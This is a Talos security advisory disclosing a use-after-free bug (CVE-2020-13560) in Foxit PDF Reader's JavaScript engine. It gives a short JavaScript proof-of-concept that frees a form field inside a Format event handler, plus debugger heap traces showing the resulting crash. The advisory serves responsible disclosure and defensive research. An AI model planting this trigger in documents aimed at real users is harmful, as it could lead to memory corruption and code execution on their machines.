Talos Vulnerability Report

TALOS-2020-1175

Foxit Reader JavaScript choice field format event use-after-free vulnerability

DECEMBER 9, 2020

CVE NUMBER

CVE-2020-13560

Summary

A use after free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 10.1.0.37527. A specially crafted PDF document can trigger reuse of previously free memory which can lead to arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Reader Version: 10.1.0.37527

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses V8 JavaScript engine.

Javascript support in PDF renderers and editors enables interactive forms which can include different GUI elements such as buttons or text fields. A use after free vulnerability in Foxit Reader can be triggered while performing `Format` event action. Following code demonstrates triggering this vulnerability:

```
function main() {

app.activeDocs[0].getField('Ch1').setAction("Format",'f();');
app.activeDocs[0].getField('Ch1').setFocus();
app.activeDocs[0].getField('Ch2').setFocus();

}

function f() {

app.activeDocs[0].getField('Ch1').setFocus();
app.activeDocs[0].getField('Ch2').setFocus();
app.alert("before free");
app.activeDocs[0].removeField("");
app.alert("after free");
}

main();
```

In the above code, we first set up a event handler for `Format` action of `Ch1` field to be function `f` and then trigger this action by setting and losing focus between two fields. Event handler, in turn, triggers the same action, but also removes the field. This triggers freeing of memory used by object which is later reused when event handling is being concluded. We can demonstrate this in the debugger by following Javascript execution:

```
Breakpoint 0 hit
eax=049d55f0 ebx=218a4ffc ecx=218cef90 edx=1dc50f94 esi=218a4ffc edi=218a4ff8
eip=00f13b3b esp=008fd9ec ebp=008fda00 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
FoxitReader!std::basic_ostream >::operator0:000> !heap -p -a ecx
    address 218cef90 found in
    _DPH_HEAP_ROOT @ 9c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                            218f0ea0:         218cef90               70 -         218ce000             2000
          ? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+d4394
    68d4abb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7714245b ntdll!RtlDebugAllocateHeap+0x00000039
    770a6dd9 ntdll!RtlpAllocateHeap+0x000000f9
    770a5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    770a5d3e ntdll!RtlAllocateHeap+0x0000003e
    042239fc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe8c
    03f3bace FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e
    0241a946 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005f5ad6
    014462dd FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002b1bfd
    00f0d5da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d07a
    00f0f0ea FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002eb8a
    00f0fa76 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002f516
    00f0ee19 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002e8b9
    00e315f3 FoxitReader!google::LogMessageVoidify::operator&+0x00005343
    00e32cc0 FoxitReader!google::LogMessageVoidify::operator&+0x00006a10
    00e3335a FoxitReader!google::LogMessageVoidify::operator&+0x000070aa
    01034bfb FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00059f3b
    0103475e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00059a9e
    03f4957f FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00011a0f
    03f4aa16 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00012ea6
    03f453bc FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x0000d84c
    03f4a309 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00012799
    03f4a341 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x000127d1
    010090a5 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0002e3e5
    00fcc2a1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000ebd41
    00fe10c6 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00006406
    00fb7c0b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000d76ab
    00fc0da9 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000e0849
    0443e34a FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x005067da
    0412d0e5 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x001f5575
    74558494 KERNEL32!BaseThreadInitThunk+0x00000024
    770c41c8 ntdll!__RtlUserThreadStart+0x0000002f


0:000> dd ecx
218cef90  049d55f0 216ccff8 216b8fc0 1dc50f70
218cefa0  c0c0c000 00000001 1903cfd8 01000101
218cefb0  00000004 00000000 1903af9c 1faf2f88
218cefc0  137eaff8 00000003 00000002 00000000
218cefd0  00000000 00000000 00000010 00000000
218cefe0  00000000 00000000 0000000a 00000000
218ceff0  00000000 00000000 c0c0c000 00000000
218cf000  ???????? ???????? ???????? ????????
```

In the above, we set a breakpoint which is hit while function `f` (the event handler) is being executed. Specifically, the breakpoint is hit after `removeField` is invoked. As can be seen from the output, memory pointed to by `ecx` is allocated and is of size 0x70. Continuing execution leads to the following crash (after dismissing the “after free” alert):

```
0:000> g
(9d8.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=1faf2f88 ecx=218cef90 edx=009c0000 esi=137eaff8 edi=00000002
eip=0240ba01 esp=008fe10c ebp=008fe14c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
FoxitReader!std::basic_ostream >::operator0:000> k 5
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 008fe14c 02139c5d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5e6b91
01 008fe168 0213b4d1 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x314ded
02 008fe194 02131fef FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x316661
03 008fe214 0241b261 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x30d17f
04 008fe244 0143c068 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x5f63f1
0:000> dd ecx
218cef90  ???????? ???????? ???????? ????????
218cefa0  ???????? ???????? ???????? ????????
218cefb0  ???????? ???????? ???????? ????????
218cefc0  ???????? ???????? ???????? ????????
218cefd0  ???????? ???????? ???????? ????????
218cefe0  ???????? ???????? ???????? ????????
218ceff0  ???????? ???????? ???????? ????????
218cf000  ???????? ???????? ???????? ????????
0:000> !heap -p -a ecx
    address 218cef90 found in
    _DPH_HEAP_ROOT @ 9c1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                218f0ea0:         218ce000             2000
    68d4ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77142c91 ntdll!RtlDebugFreeHeap+0x0000003e
    770a3c45 ntdll!RtlpFreeHeap+0x000000d5
    770a3812 ntdll!RtlFreeHeap+0x00000222
    042239a6 FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe36
    0420180f FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002c9c9f
    0412d1da FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x001f566a
    02406749 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005e18d9
    00f13b3e FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000335de
    00f0e42d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002decd
    01781c17 FoxitReader!CryptUIWizExport+0x0012ef37
    01744c35 FoxitReader!CryptUIWizExport+0x000f1f55
    030bf2bb FoxitReader!FXJSE_GetClass+0x0000022b
    03284fb9 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5739
    0328474f FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ecf
    03284a11 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5191
    032848ab FoxitReader!CFXJSE_Arguments::GetValue+0x001c502b
    0342be47 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c5c7
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033ba780 FoxitReader!CFXJSE_Arguments::GetValue+0x002faf00
    033b830f FoxitReader!CFXJSE_Arguments::GetValue+0x002f8a8f
    033b812b FoxitReader!CFXJSE_Arguments::GetValue+0x002f88ab
    030f5726 FoxitReader!CFXJSE_Arguments::GetValue+0x00035ea6
    030f5207 FoxitReader!CFXJSE_Arguments::GetValue+0x00035987
    030e2517 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c97
    030bda0f FoxitReader!FXJSE_Runtime_Release+0x00000c4f
    030be224 FoxitReader!FXJSE_ExecuteScript+0x00000014
    017b62e2 FoxitReader!CryptUIWizExport+0x00163602
    017b70fd FoxitReader!CryptUIWizExport+0x0016441d
    02401ccd FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005dce5d
    02401b44 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x005dccd4
    02131a7a FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0030cc0a
```

This shows a crash while dereferencing the same chunk of memory (still pointed to by `ecx`, signifying a `this` pointer) that was previously freed. This constitutes a use-after-free condition.

From observing Javascript execution, we can conclude that the use-after-free happens after memory is freed, but before the event handler invocation code is finished. This means that an attacker can place additional Javascript code after freeing the memory, giving them a chance to take control of it to be reused. This can either lead to further memory corruption or arbitrary code execution.

Timeline

2020-10-19 - Vendor Disclosure

2020-12-09 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.